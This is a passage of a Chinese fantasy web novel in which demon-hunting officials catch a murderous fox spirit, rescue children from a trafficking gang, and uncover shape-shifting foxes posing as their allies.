“……别掏了,我们不想钻狗洞。”
谢守正也就罢了,好歹他的原身是狼和狗沾边,可太子殿下怎么办?难道也要跟着一起钻狗洞?万一传到陛下耳中,他的狗头就不保了!
第79章 大人,愿意将你的命给妾吗?
“爬墙吧。”林倾月已经走到了围墙外,然后转身问东方起,“你要帮忙吗?”
下一刻,就见他纵身一跃,轻盈地跳上了墙头。
林倾月眉头轻挑:果然,能在十二岁那年创立玄镜司,收服一帮乌合之众的人,怎么也不会是手无缚鸡之力的人。
几人先后跳上围墙,轻而易举地潜入了县衙。
县衙的格局并不复杂,前面是公署衙门,后宅是县太爷的居所。
可一到后宅,几人的脸色都沉了下来:好浓的妖气!
暖阁绣帷,红浪翻被,女子娇柔的笑声,和男人的喘息声相互交融,极为暧昧。
眼圈发黑、脸颊消瘦的男人,搂着怀里的美人哀求:
“美人啊别再吊着本官的胃口了,快给我吧!哎呀,本官早晚死的你肚皮上!”
美人轻笑,呵气如兰:“那大人,愿意将你的命给妾吗?”
“愿意,本官的命早就是你的了!为了你,本官什么都不要,只想与美人儿夜夜缠绵!”
“好,这可是你答应的……”说罢,美人的手掌猛然刺入他的胸腔。
县太爷猛然瞪大了眼睛,瞬间没了呼吸。从极致的欢愉到极致的痛苦,不过只是呼吸之间。
下一刻,林倾月、东方起、谢守正,以及大毛二毛同时破开屋顶,落入屋内。
刚进县衙,他们就察觉到这里有浓重的妖气。
可终究还是晚来了一步,县令已经被害,而床上的女人眼眸猩红,露出尖嘴獠牙,竟然是一只成精的狐狸!
“大胆孽畜!”谢守正大喝一声,放出罗网,瞬间将狐妖捆成茧团。
狐妖自然不甘心被困,利爪如钩疯狂撕扯,却见网绳愈勒愈紧,金线嵌入皮肉渗出妖血。随着一声凄厉狐鸣,转眼间化作一只通体如火焰般的赤狐,呜呜哀嚎再无还手之力。
大毛把那狐狸连同罗网一同提溜了起来,喝道:“我就奇怪,县太爷怎么老想赶我们走。几次来府衙,都将我们拒之门外。都是你在背后怂恿的吧?怕我们发现你的真身!”
“没错,都是你!”
“县里的那些人口失踪案子也都是你做的吧?今日居然胆大妄为,连县太爷都谋害!”
“没错,就是你!”
狐妖嗷嗷尖叫,却被大毛给踹了一脚,骂道:“还敢狡辩?我们玄镜司驱邪镇妖,护卫一方安宁。不放过一个恶妖,也冤枉任何一个好妖!提你回玄镜司细细审讯,且老实点!”
呵斥完后,大毛对谢守正道:“谢大人,既然凶手已经拿下,我们兄弟要连夜赶回郡里。您要和我们一起去郡里吗?”
这里不是京城,他们一行三人都有要事在身,公开露面万一暴露太子身份就不好了。
反正玄镜司对于审讯、**邪祟妖孽的流程都十分完善,也不需要他来插手。
于是谢守正道:“你们提回郡里,仔细审讯。本官还有公务在身,明日一早就要动身离开。就不参合你们地方上的事了。”
接下来的事情就好办多了。
大毛、二毛他们要先将此事报告给本地的县尉,然后再把狐妖带回郡里的玄镜司分部审讯、看押、判刑。
林倾月、东方起、谢守正则回客栈休息。
临走之前,谢守正又叮嘱了大毛他们,不要提及他们三人出现的事。
大毛拍着胸脯保证:“大人放心,卑职最能保密,绝对不会乱说!”
后半夜也果然太平。
虽说耽误大半夜的时间,但三人第二天依然起了个大早,吃了早饭,又采买了些路上需用的干粮,便继续起程。
路上,林倾月还对东方起道:“我本还以为这案子没那么容易了结,没想到这么快抓到了凶手。”
“也算是机缘巧合了吧。恰好昨夜我们去了县衙,恰好那狐妖开始动手,妖气泄露。”
东方起侧身倚坐在车上,执缰的手腕轻抖。晨光自天际漫来,为他的侧脸镀上鎏金,与他眉眼间的温润相融。
车轮碾过蜿蜒的山道,帘栊轻晃。林倾月透过缝隙,正好能看到他半张被金光勾勒的侧颜,尽显清隽英气。
她在心底啧啧赞叹:比狗王爷养眼多了。
就在这时候,
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谢守正忽然一拍脑门,喊道:“哎呀不好了,我的血棘鞭忘在客栈了啊!”
东方起淡淡地瞥了他一眼:“你随身的武器,怎么也能忘记?”
谢守正道:“半夜三更才睡,天亮又起来,迷迷糊糊的居然把我最重要的随身武器给忘了!不行,我得回去拿。要不然遇事,没个趁手武器可不行。”
说着用眼神请示东方起:“公子……”
东方起道:“你自去取回,我与林副使先去前头的奉贤郡等你。”
“哎哎,多谢公子,我快去快回!”
说罢,他调转了马头,往丰年县方向奔去。
而东方起则继续驾车,不徐不疾地往前行路,还向林倾月介绍道:“奉贤郡有不少美食,尤其擅长面食。等我们赶到,正好临近午膳时间,我带你好好品尝此间美食。”
林倾月青葱似的指尖托着下颌,神色慵懒又透着几分漫不经心。
“小花,我瞧你似乎一点也不着急赶路?”
车帘外的人,轻笑一声:“此话何解?”
“明明驾马奔驰的速度更快,可你却选择坐马车。谢守正落了东西,一来一回又多耽误半天时间。你却一点也不着急,还惦记着品尝美食。”
“小花别忘了,你只有三个月时间。”
“没忘。”东方起的声音依旧清朗平和,似乎生死大事也只在谈笑之中。
“正是因为我时间所剩不多,所以沿途的风景和美食都不能错过。以马车的速度,再走十天左右,我们就能赶到目的地。若一切顺利,我能恢复如初,自然最好。若是命中注定,我只能活到22岁,那至少我没有辜负这一路上的时光。”
“你的性格,叫我想起了一位故人。他也像你一样,从容淡然。”
“是吗?我居然像你的故人,他是什么样的?能详细和我说说吗?”东方起来了几分好奇。
“已经**,没什么好说的。”林倾月的目光微敛,不动声色地掩下了一抹伤感。
若他还在该多好。可惜,他早就魂飞魄散,永远回不来了。
……
第80章 乞丐
谢守正一路快马加鞭,半个多时辰后就回到了丰年县,昨日下榻的客栈,拿到了血棘鞭。
把贴身的武器收好,他都来不及停下喝口水,就准备骑马追上东方起和林倾月。
刚解开马绳,忽然敏锐地察觉到有妖气飘过。
他急忙抬头看去,就见街道有三三两两的路人走过。
再深吸一气,没错!就是妖气!
狼的鼻子也十分灵敏,虽然那气息很弱很弱,可他能嗅到那气息的来源。
于是,谢守正把马重新栓好,循着那微弱的一丝妖气,箭步追至巷口,就见一袭红裙,身形窈窕的女子,推门走进一所小院。
“是昨晚的狐妖,她怎么逃脱了?难道大毛二毛被害了?”
他瞳孔骤缩,抽出腰间的血棘鞭,赶忙跟了上去。
可刚踏入小院,一阵迷雾裹着异香扑面而来。
谢守正眼前一黑,未及挥鞭便重重栽倒在地,血棘鞭也“当啷”坠地。
林倾月与东方起此刻,已经踏入奉贤郡城内。
城内街道宽阔,楼宇节次鳞比,繁华远超丰年县。
主街两侧面商铺众多,尤以面食馆子居多,麦香、肉香直往人鼻腔里钻,勾得腹中馋虫蠢蠢欲动。
林倾月一眼就喜欢上这种市井气息的长街,寻了家人气颇旺的面馆走了进去。
面馆不光里面客流如云,连门口两侧和街道对面都是小摊,甚至还有不少乞丐端着碗乞讨。
面馆只有面食,但花样繁多。
炒面、汤面、拌面、蘸面,吃法不同浇头也多。光是汤面就有十几种浇头,叫人目不暇接,不知如何选择。
东方起道:“不如都点了?”
“那也用不着浪费。”林倾月点了牛肉汤面,又点了婉虾仁肉丝炒面。
而东方起则点了一份蟹黄拌面和一份猪骨蘸面,又问小二多要了两个小碗。
“我们用小碗分着吃,如此你一次能尝到四种味道。”
林倾月满意地笑了:“好。”
她每种面都加到碗里尝了尝,然后把碗筷一放,目光又飘到窗外:“怎么办呢?我又突然想吃外面小摊上的油饼和水煎包了。”
东方起爽快地道:“那就去吃油饼和水煎包。”
林倾月为难地看着剩下的面条:“那这些……”
他说:“我会解决。”
林倾月还以为他一人要把四份面全部消灭掉,等着看一场大胃王表演。
却见东方起也放下筷子,召来店小二,指着店外衣衫褴褛,正在乞讨的一对母女道:“这几碗面都还干净,帮我端去给门外的那对乞丐母女吃。”
“硬撑着吃完和剩在碗里,本质并无区别。你看,这不就两全其美了吗?”东方起说话间结了面钱,和林倾月走出面馆。
林倾月买了油饼,却发现东方起并没有跟上,转过头才发现他正弯腰手里的零钱,施舍给那对乞丐母女。
眼底深处,都是对民生疾苦的悲悯。
相比之下,林倾月却像冷心冷肺的女人,自顾自地挑选了一大推香喷喷的小吃,然后招呼东方起来付钱——公费吃喝,她才不会手软。
“来了!”东方起走过来问,“一共多少钱?”
“15文钱。”
“好。”
东方起的手伸到袖袋里,却摸了个空。
他这才想起,刚才他给那对母女施舍的时候,小女孩拽着他的袖子甜甜地道谢。
难道是那时,对方顺走了他袖袋里的钱?
想到此,他急忙转身去看,却发现刚才面馆门口行乞的母女俩已经不见了踪迹。
“怎会如此?我明明已经给了她们吃的和钱,为什么还要偷盗?”他不解,更多的是心寒。
“因为他们根本就不是普通的乞丐。”林倾月咬着焦香酥脆的油饼,道,“坏人,并不会因为你给了她们一些施舍就对你心慈手软。”
“你早就看出来了吗?”一番善心却被辜负,这让东方起心里有些难过。
林倾月自己付了钱,又递给东方起一个油饼,然后一边顺着长街闲逛,一边道:
“相比于东方宴,你确实接触过很多民间的事物。可你走过的地方,看到的风景,也只是停留于表面而已。你没有真正的在民间生活过,不了解真正的人性。”<
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br>“就比如刚才那对乞丐母女,虽然都打扮的拉里邋遢,但那孩子眼神空洞,面无表情。而她身边那所谓的母亲,却眼神灵动,不时地打量着周围的人。最重要的是,那女人长得有几分姿色。”
“这和容貌有什么关系?”东方起疑惑着问。
林倾月笑了笑:“对于上层人来说,美丽的容貌是锦上添花。可对于底层的贫困人而言,尤其是这种乞丐,美丽便是灾祸,会让她受到来自各方的恶意。”
“别说是人了,就算是流浪在外的小母猫,都会不断地怀孕、生产,直至死亡。而那个女人,显然没有遭受过太明显的伤害。那就足以说明,她不是普通的乞丐,有自保能力。”
“而那个眼神空洞,明显遭受过很多**的女孩,绝对不会她的孩子。若我没猜错的话,那孩子应该是被女人操控来乞讨的。而公子你……”
林倾月眉目含笑地打量了东方起一眼,“你这样的,一看就是好糊弄的小白兔。有钱、单纯,还善良。不偷你偷谁?”
有钱、单纯、善良的东方起:“……这算是夸奖吗?”
林倾月微微挑眉,露出一抹惊讶:“这难道不是在贬低你吗?”
东方起笑了起来:“那你的贬低还真是特别。”
林倾月:“切...”
东方起收了笑,又问道:“你刚才应该看到那对‘母女’往那边去了吧?”
林倾月问:“怎么,想找回你丢失的钱财?”
东方起道:“几两碎银倒无足轻重,只是那个小女孩……”
他脑海里浮现出女孩抓着他的衣摆,仰着脏兮兮的笑脸,看向自己的样子。
虽然此刻他已经知道那个举动,只是为了吸引他的注意力,好给旁边的女人制造偷窃的机会。
可一想起小女孩那空洞麻木的眼神,连笑的时候都弥漫的一股淡淡的悲伤——当时不觉,此刻想来,就像一根刺卡在他的心头。
林倾月当然看清了那对乞丐的去向,她吃完了手上的东西,用手帕擦了擦手指上的油污。
“走吧,正好我也吃撑了,去消消食。”
第81章 招惹上林倾月,就是他们最大的报应!
与此同时,某个城郊偏僻的大院子里,孩子的哭声混合着棍棒敲击声在院里炸响。
这时院门开了,先前在饭馆门口乞讨的女人拽着小女孩回来了。
女人依然是蓬头垢面的,可脸上的笑容却格外灿烂。
“怎么又弄出那么大动静?哭哭喊喊的,也不怕被外面路过的人听见!”
里面走出一个精壮的男人,道:“上次那几个都不中用了,所以就又弄了几个新货来。刚来的不听话,哭闹得厉害,要给他们些颜色看看。春姐,你今天怎么这么快回来了?是不是这小丫头,又给你惹事儿了?”
说着他一把揪过那小女孩,抬手便要打。
那叫春姐的女人道:“这丫头今天很乖。我回得早是因为捞到笔大的,怕人家找,所以便提前回来了。”
说着,春姐把从东方起哪里偷来的钱袋打开,掏出里面的银两数了数,惊叹:“整整100两!知道那人是个肥羊,没想到这么肥!”
“嗬!还真是不少啊!”男人也高兴得眉飞色舞。
春姐发了笔大财,心情好,连对那孩子都温柔了起来:“这次你也算立了功,想要什么?可以给你个奖励。”
“什么都可以吗?”小女孩眼神怯怯地问。
“可以。”
“我……我想回家。”
“啪!”一个耳光猝不及防地甩来,小女孩被打倒在地,想哭又不敢哭出声,只能无声地落泪。
“小**!”女人插着腰骂道,“给你脸了是吧?居然还敢跟我提回家?哼,还记得和你一起来的那几个吗?若再敢提回家,我便也砍断你的腿!”
说罢,她又对男人道:“新来的那批货里,好看的挑出来,回头打扮打扮卖给好那一口的客人。相貌平平的,就弯掉膝盖骨,弄残了再去乞讨更能博得别人的同情,赚到钱。”
“好!”
男人正要进去,女人又叮嘱道:“弄的时候把嘴巴塞紧一点,我这人心软,最听不得孩子哭喊。”
男人听了个笑话,忍不住哈哈大笑。
就在这时,院门被一道劲风掀开。
门开处,走进来一男一女。
女的一身黑裙,气质邪魅。
男的一袭白衣,温润儒雅。
如此出挑的两人,春姐当然不会忘。
她吃了一惊:“你们怎么找来的?”
清冷高贵的东方起,手一伸:“还钱!”
春姐喊一声:“有人来**,都出来吧!”
下一刻,里面就涌出十几个男男女女,手上拿着棍子刀子,个个都是凶神恶煞。
春姐仗着在自己地盘,人多势众,满脸嚣张。
她嚣张地把钱袋塞进自己胸口,然后双手叉腰,挺着圆鼓鼓的胸脯,无耻地笑着:
“想要钱啊?就在我胸口里呢,要不公子来掏掏?老娘我长这么大,还这没瞧过像公子你这般水嫩俊俏的男人呢!”
光天化日之下,东方起被个女人给调戏了,顿时满脸绯红,赶忙就避开眼:“别逼我对你动手!”
春兰笑得更嚣张了:“哟,公子脸红了?该不会是个雏儿吧?”
“你,不知羞耻,满口污言秽语!”东方起想骂人,可自小良好的修养,让他连骂人都无比文雅。
“哈哈哈!”周围人哄堂大笑。
春兰的目光又转到林倾月身上:“这小娘子长得可真好看,要是弄到花楼里……”
“砰!”
这次话没说完,就被东方起一脚给踹飞,跌出七八米后滚落在地,咳出了一大口血。
东方起眼神冷冷:“我一般不打女人。可你,该死!”
大院里的男男女女们见状,纷纷举着兵器冲向东方起。
东方起“唰”地抽出腰间软剑,和那些人打在一起。
而林倾月则吃着半路买的糖葫芦,完全就是看戏的样子,没有任何插手的意思。
忽然,她的目光落到那瑟缩在角落里,已经被吓得呆傻的女孩身上,于是将糖葫芦递过去:“吃不吃,酸酸甜甜很好吃的。”
小女孩胆战心惊,问:“你们是来抓我的吗
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?我偷了你们的钱……你们要打我可以,但能不能把不要用烙铁?”
一向铁石心肠的林倾月莫名地心软了,她蹲下身来,温柔地道:“不打你,别怕。你家在哪里,想不想回家?”
听到“回家”二字的时候,女孩空洞的眼神终于有了一丝光亮,可下一刻她又猛烈地摇头:“不,我不要回家!我不要被砍腿!呜呜……我真的不敢提回家了……”
林倾月眼底的温柔渐渐散尽,她将糖葫芦塞进女孩的手里,慢慢地站了起来。
而此刻,东方起已经将了十几个打手,通通打倒在地。
见林倾月过来,他提议道:“这种贩卖人口的团伙,肯定不是单独存在,还是应该送官法办,揪出更多的**。还有这些被他们弄来的孩子,也需要官府去查清来历,送回家人身边。”
“这是自然。但是……”林倾月眼中浮现出一抹狠毒,“还不够。”
她说完之后,双手结印,刹那间周围的气场被调动,疾风簌簌,光影浮现。须臾之间,一道血红色的符咒,凝在她的身前。
林倾月喝一声:“去!”
血符瞬间从一道,幻化成了16道,嗖的一声飞到那几人额前,不等对方反应过来便没入他们的识海之中。
“这是什么?”东方起问。
林倾月道:“是反噬咒。”
此咒,每到深夜便会发作,从前所作之恶,赋予他人的痛苦,全部会以百倍之量反噬自身。
比如,那恶毒的女人刚才打了小女孩一巴掌,到了反噬发作的时间,她脸颊会承受那一巴掌一百倍的痛。
她若是砍了一个人的腿,那么她的腿也承受百倍数量之痛。
没有任何外伤,也不会影响健康,只是纯粹的痛苦反射,
所以将来,这些人被送官法办之后,不论他们最后会被判处什么样的刑罚,是否会被处死,都将会生不如死。
如果人间的律法,不足以去衡量罪大恶极之人,那招惹上林倾月,就是他们最大的报应!
第82章 谢大人失踪
东方起则从屋里翻出了纸,然后拿出随身的印章在上面印上“监察御使”的图章。
以他目前的情况,自然不适合暴露**。但为了督促地方官重视此案,必须给予警示。
齐国设有监察院,专门监察百官政务。时常还有监察御使,暗访各地官员。
所以,有了这个印章,哪怕上面只是一纸空文,也足够本地的郡守吓出一身冷汗,不敢不严格督办此案。
果然,当他们找了个路人,将无字空信送往郡守府后,不过半个时辰,郡守大人亲自带着官兵赶来了。
只是此刻,林倾乐和东方起早已离去。春姐等一众恶人,都被打晕在地,被官兵抓捕后还一脸懵逼,不知所措。
官兵从在所宅院里,搜出了十几名儿童,从两三岁到七八岁不等,有男有女。
在房子的后院里,还掘出了很多具刚下葬不久的尸体。
郡守当时的脸色简直一言难尽:担忧、惊恐,最后变成了恼怒,大声呵斥:“查!给本官严查,务必要揪出所有元凶!”
处理完这些事情后,已经到了下午,东方起这才想起了谢守正来。
“都这个时辰了,小灰怎么还没回来?”
为了便于汇合,他们进城后就在沿路留下记号,若是谢守正看到了,也会给出标记。
可当他们回去找先前的记号时,却没有看到旁边有任何其他标识。
那也就说明谢守正根本没有来到奉贤郡!
正在两人奇怪的时候,忽然看到大毛和二毛说说笑笑,迎面走来。
“大毛、二毛!”东方起走上喊住了那两人。
可昨夜还和他们一起捉拿狐妖的鼹鼠兄弟,此刻却眯着眼睛凑上前来嗅来嗅去。
“你们是谁?怎么知道我们兄弟的名字?”
“没错,你们是谁?”
东方起眉头微拧,问道:“你们二人还记得昨夜去了哪里?”
大毛道:“昨夜棒槌街有个新死的魂丢了记忆在外头晃荡,吓哭了不少小孩,我们兄弟俩拿着鞭子把他抽回阴间了。
二毛挥了挥手上的鞭子:“没错,抽回阴间!”
林倾月问:“丰年县难道没有发生什么事吗?”
大毛咧嘴憨笑:“丰年县能有什么事?不是太平得很吗?”
二毛跟着傻笑:“没错,太平得很!”
东方起和林倾月对视一眼,转身就走。
大毛还眯着小眼睛瞅啊瞅:“哎人呢?咋说走就走?”
二毛:“没错,人呢?”
大毛:“对了,他们到底是谁啊?怎么闻起来一股陌生的气息?”
二毛:“没错,陌生得很!”
……
谢守正做了个梦,梦里他又变成了当年还在深山老林时,漫山遍野撒丫子乱跑的小狼崽子。
那时岁月静好,无忧无虑。他饿了就回到狼群里,窝在母狼的腹下嘬几口奶。
等长出尖尖獠牙的时候,母狼便叼来美味的肉骨头。
他吭哧吭哧地啃着,啃得满脸都是肉沫子,啃着啃着就长大了。还想继续啃老的时候,被母狼无情地驱赶出了族群。
这是动物的本能。为了避免近亲繁殖和资源竞争,成年的狼要离开族群,寻找自己的地盘,建立自己的族群。
和他一起被赶出狼群的,还有其他的兄弟姐妹。
可他天生异类,每至圆月高悬时候,总爱独踞在山峦之巅,望着夜空凝神。月光映照在他的眼里,闪烁着别于族群的茫然。
那日阴云压境,惊雷劈裂天幕,轰然撞进他的脑髓。犹如盘古劈开混沌般,过往的蒙昧骤然散去。
他第一次辨明雨丝坠落的方向,第一次听懂风过荒原的呜咽,连爪下青草的芬芳都仿佛有了不一样的气息。
而远处狼群的嚎叫声,竟然让他觉得有几分陌生。
他依然还是一只狼,却已经截然不同的了。
从那天之后,他遵循内心本能,贪婪地吸收着日月精华,慢慢地获得了超凡脱俗的能力。
他有时候勤勉,日复一日的修炼。有时又懒懒散散,在自己的山洞里一睡便是数年之久。
直到某一日,铁蹄扣动大地的声音惊散了他的好梦。
等他走出洞口,还没看清眼前景象,就被一只利剑射贯穿了肩胛。
他嗷呜倒地,惊恐万分地看着那些手持弓箭的两脚兽,向自己围拢过来。
“呵,这狼的皮**真漂亮,可以做件大氅。”
“它在龇牙,牙齿也如玉石般美丽,敲下来
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能做个上好的狼牙坠子。”
那一刻,他才发现人类的强大,哪怕自己修炼多年、开了灵智,在他们面前依然随时能被秒杀!
就在他以为自己必死无疑的是,一个稚嫩的童音在耳边响起:“不要杀它,我出钱买下它!”
猎人们收了钱,开心离去。
那小童打马靠近,旁边有人急忙劝阻:“太子殿下,狼性凶恶,不可靠近!”
忽见马背上跃下小小身影,稳稳落在受伤灰狼面前。
“殿下小心!”
随从惊呼未及,他已蹲下身,掌心覆上狼首毛茸茸的皮**上:"做我的宠物可好?若愿意,便眨眨眼。若你不愿意,我也可以放你归林。"
那是他与东方起的初遇,暮色里少年半蹲的身影,瘦瘦小小,却自带王者贵气。指尖大胆拂过狼耳,眸中光彩比天边残阳更亮。
他本对人类血脉生畏,却在撞见孩童的刹那,心底腾起莫名暖意。
迟疑片刻,琥珀色的眼眸轻轻一眨,定定地看着那小小的孩子,从此刻入了心间……
谢守正睁开琥珀色的眼睛,入目所见是无尽的黑夜和满天的星光闪烁。有那么一瞬间,他以为自己还在梦中,回到了当年的草原。
可忽然之间他就发现不对劲,头顶的星光被墨色铁笼切割成零碎方格。
他惊诧之后赶忙要站起,脑袋却撞到笼子的上方,这才发现自己居然身处在一个狭小的铁笼子里。
忽然他又看到自己毛茸茸的爪子,屁股后端还有尾巴被折叠时传来的痛感。
他惊骇得瞪大了眼睛,赶忙去摸自己的头、脸,惊觉已变回了狼身。
他记得自己被太子殿下带回东宫后不到过了两三年,就化形成人,然后就以太子侍从的身份,跟着太子在学堂听讲,接受文明礼教的洗礼。
又过了几年,太子成立玄镜司,让他做一方长官。
为了显得老成持重一些,他特意留了胡须,让整个人看起来好像30多岁的样子。此后,每天忙里忙外鞠躬尽瘁,活得像个牛马,唯独不再像头狼。
要不是当初林倾月一眼道破他身份,他都差点忘记自己是只狼了。
但现在……怎么莫名其妙显现出原形了?
第83章 栩栩狐
他把笼子弄得咣咣响,却依然无法冲破束缚。
他索性也不再乱动,悄悄地观察其周围情况。
这里看起来是一座大户人家的府邸,屋舍精致、庭院干净。
他尖尖的狼耳耸耸,能清楚地听到后院传来悠扬的琴声,还有酒肉的香气在鼻尖萦绕。
就在他打量着周围情况的时候,旁边屋子的房门开了,橘色的灯光瞬间打在他的身上。
他抬眼看去,就看到三人走了出来。
为首的是那红衣女子,走起来一步三扭,明明是个狐狸精,却跟个水蛇似的。眼角眉梢都是妩媚的笑。
而她的身后,跟着一高一矮两个人——大毛、二毛。
“哟,谢大人醒了?睡得可好?”红衣女子笑盈盈地问。
谢守正没有理会她,一双冷厉的狼眼,恶狠狠地等着她身后的两人:“大毛、二毛?你们居然和这狐狸精狼狈为奸!”
“不对!”他忽然反应过来,“你们不是大毛、二毛!他们俩虽然脑子简单,但忠于职守,绝对不会和恶妖为伍!”
“大毛”和“二毛”互视一眼,身形一晃变成了两只体型瘦小的狐狸。
谢守正看到后,突然想了起来:“栩栩狐!我怎么把你们给忘记了?”
栩栩狐族,灵力微薄,很难幻化成人。但其天赋异禀,凡所见之人,皆能仿其外形,还能模仿行为举止,栩栩如生,故称栩栩狐。
即便目力超群者也很难分辨栩栩狐的真身。
几年前,栩栩狐在奉贤郡惹事,竟然模仿了郡守大家的父母,在郡守家过了大半年舒坦日子。
后来玄镜司派大毛、二毛到郡守府送公文的时候,恰好撞见。
大毛二毛眼神不好,全靠鼻子感知周围。
他们嗅了一圈后,忽然疑惑地问郡守:“大人,您怎么管两个骚狐狸喊爹娘?”
后来,在玄镜司全力出击下,两只栩栩狐才被捉拿归案。
这个案件中,郡守家的父母可就惨得很,被那两只小狐狸锁在柜子里,每天就靠一点馒头和水熬着口气,等案发被救出来时,老两口就剩皮包骨了。
郡守大人气得,差点要**栩栩狐。
不过涉及诡异案件,地方官员无法插手干预,只能交由玄镜司全权处置。
当地玄镜司的主官考虑到没有造成人员死亡,社会面影响也不算大,因此判其监禁十年。
说起来,案子不算太大,但栩栩狐这种妖类属实特殊,案子也上报到了京城。
当时,谢守正看过案卷后,记忆犹深。
归案没多久,那两只栩栩狐却又突然**了。
虽说他们实力弱小,但那种能随意变换成他人容貌的技能,依然存在很大的不安定因素。
因此逃狱之后,玄镜司在全国发布了追缉令。可惜他们就像泥牛入海一般,便寻无踪。
万万没想到,这两只栩栩狐根本没有远逃,就潜伏在丰年县。
“奇怪,为什么我先前在你们身上没有嗅到狐狸的味道?”谢守正对此有些疑惑。
要知道,狼的嗅觉比鼹鼠更为灵敏。
大毛二毛当初都能靠着嗅觉发现栩栩狐的破绽。谢守正这次居然没有发现,实在是不应该。
其中一只栩栩狐挥舞着爪子,得意地说:“吃一堑长一智,先前被识破,这次当然要更谨慎啦!”
红衣女子笑盈盈地道:“我们在丰年县闹出这么大的动静,本地官府的人肯定要去通知玄镜司处理。“
“所以我就安排栩栩狐在官差必经的路上,假装偶遇。为了避免气味暴露行踪,他们还事先偷了那对鼹鼠兄弟的尿液抹在身上,好掩盖掉狐狸本身的气味。甚至还顺手偷了大毛和二毛的罗网。”
当唯一的破绽也被补全后,就连谢守正都没有发现那对假货。
昨天夜里,扮成大毛和二毛的栩
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栩狐兄弟俩,假装是玄镜司的司卫在街上晃荡,寻找目标。
昨晚,他们一开始是想把谢守正、林倾月、东方起三人当成目标抓走。
没想到谢守正却一眼认出了大毛和二毛。
狐狸天生狡诈,装傻充愣几句话后,就套出了谢守正的身份。知道他是京城来的大官,更不敢轻易与之交锋。
于是,栩栩狐兄弟俩,故意将他们带到县衙。在目睹了红衣女子**之后,又装模作样地将她抓了起来。
他们用此办法,想将谢守正糊弄走,避免正面为敌。
没想到谢守正半路又杀了回来,且好巧不巧看到了红衣女子,尾随到了这里。
红衣女子妖娆地笑着:“要是正面开打,我们三个都不是你的对手。可天堂有路你不走,偏偏闯入了我们的地盘。用了人类对付妖怪的显形**,才让你幻出原形,实力锐减。”
“现在……”她踢了踢铁笼子,有恃无恐地道,“京城的谢大人,想不到有一天你会成为一只笼中困兽吧?”
谢守正大概弄清的情况后,心里反而不慌了。因为他知道林倾月和太子都还在外面,肯定能发现自己失踪。
但是眼下还是需要自救。
于是他发挥特长,耐心地劝说栩栩狐兄弟俩:“你们两个先前并没有犯下大罪,所以只判了几年监禁。可这红狐狸的手上已经染了血案,你们和她勾结在一起,可是大罪啊!现在幡然悔悟还来得及,莫要自取灭亡!”
“栩栩狐,你们兄弟二人若是能够戴罪立功,拿下祸首,本官从轻处置!最多关个几年,你们就能重获自由,安分做妖!”
“可恶!”红衣女子暴怒,一脚将谢守正连狼带笼子踹得翻了几个滚,“死到临头不知道怕,居然还敢策反我的人?”
说着,她又转过头来,眼神凌厉地瞪着栩栩狐兄弟俩:“你们该不会被他说动了吧?”
第84章 伪装
“不会不会!”
栩栩狐兄弟俩齐齐摇头。
“当初我们被困在牢房里,是红姐你救了我们,我们兄弟俩怎么也不可能背叛你!”
“知道就好!”
其中一只栩栩狐道:“红姐,这人还有两个同伴,而且看起来本事都不小。回头若是找上门了怎么办?”
“那就……”红衣女子的脸上露出一抹阴狠,“一起杀掉!”
两只栩栩狐吓了一跳。
“啊?**啊,这要是被抓就真要**了!”
“要不赶走算了,不杀了。”
“蠢货!”红衣女子瞪了他们一眼,“他们都是官家的人,能随随便便赶走吗?那岂不是放虎归山?”
“再说了,咱们庄子上关了那么多人,很快就要到宰杀的时候,你们还想手上不沾染人命?”
“哼!人类才是这个世界上最不应该存在的物种,每个人都死有余辜!”
……
林倾月和东方起赶回丰年县的时候,已经华灯初上,街道上行人渐少。
他们首先到了昨天下榻的客栈。
从店小二那里得知谢守正上午巳时三刻左右,就风风火火地赶回了店里。
当时店小二正在收拾客房,看到谢守正突然出现,还被吓了一大跳。
谢守正拿回了鞭子,连口水都顾不上喝,扭头就走。
但奇怪的是,小二中午出来迎客的时候,才发现谢守正的马还拴在店门口没有骑走。
林倾月和东方起刚才进门的时候也注意到了那匹马。
此刻,他们二人从客栈出来,走到了栓马的柱子旁。
东方起查看了一番道:“马绳系得很随意,且从绳结的方向来看,他当时应该是背对客栈,面朝的街道。刚解下了缰绳,准备上马的时候,突然被什么吸引了注意力,于是又胡乱地将马拴好,就走了。”
林倾月点头认可:“没有骑马,应该是怕马蹄的动静会引得对方注意,才悄悄尾随。所以……”
两人正说着,前方的街口处走来一个熟悉的人,面白长须,腰间插了一根通体血红的鞭子。
竟然是谢守正!
看到客栈门口的林倾月和东方起,谢守正快跑几步上前,道:“你们怎么也来了?”
林倾月没有说话,只是和东方起对了个眼神。
东方起板着脸道:“你还好意思说?你说回来取个东西,我们等你许久也没见你回来,只好重新返回来找你。这一整天,你去哪儿了?”
谢守正道:“路上正好碰到一个被水鬼附身的人,家里人请了位老虔婆过去驱邪。我有些不放心,就跟过去看了一眼。”
“也还好我去了,那老虔婆实力不济,还喜欢诓骗人。居然说水鬼怕火,让家属把人绑在树下烟熏火烧,差点把人给烧死咯。”
“这我哪能袖手旁观?便悄悄出手,拆穿了老虔婆,又将那附身在人身上的水鬼引出来给超度了。这一耽误,就误了时辰。”
“原来是这样。”东方起点点头,很随便就相信了。
林倾月也松了口气:“我们还以为你出事了,吓得不轻,赶紧就回来。”
东方起道:“我们还要赶去南僵庆州,白天耽误了一天,只能晚上赶路了。”
“那快些上路,走!”谢守正没听出他话里的漏洞,转过身翻身就要上马。
下一刻,一柄软剑带着寒芒横在他的喉间:“你是什么人,敢在我们面前装神弄鬼?”
这是……发现了?
那么快?
栩栩狐有些诧异。
为了扮演好谢守正,他们甚至还给谢守正灌了几大壶水,想要利用他尿液的气息,掩盖自己本身的味道。
谢守正也是个汉子,知道他们的动机,咬牙死扛着就是不肯就犯。
最后,栩栩狐没办法,只能薅了一大把狼**,藏在自己身上。气味是不如尿液来的浓烈,但也勉强能用。
不应该那么快就被看穿啊!
不对,没准只是在试探。
于是那假的谢守正故作镇定地说:“我是玄镜司的谢守正啊。自己人,快把剑放下!”
东方起道:“听说奉贤郡的司牢里,曾经
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关了两只栩栩狐,善于幻化模仿,栩栩如生,难辨真假。可假的就是假,总有破绽显露。”
比起浮游丝那种无知无觉中就能完成寄生和操控的诡物,栩栩狐简直就是小巫见大巫。
“没必要和他废话!”林倾月更为果断,直接上前一掌拍在“谢守正”的脑门上,原本魁梧高大的人就像泄气的皮球一样,瞬间收缩变小,最终成了一只普通黄狗大小的杂**狐狸。
杂**狐狸痛得正要嗷嗷叫,被林倾月一把掐住脖子提溜起来:“说,谢守正在哪里?敢有一句假话,我活剥了你的皮!”
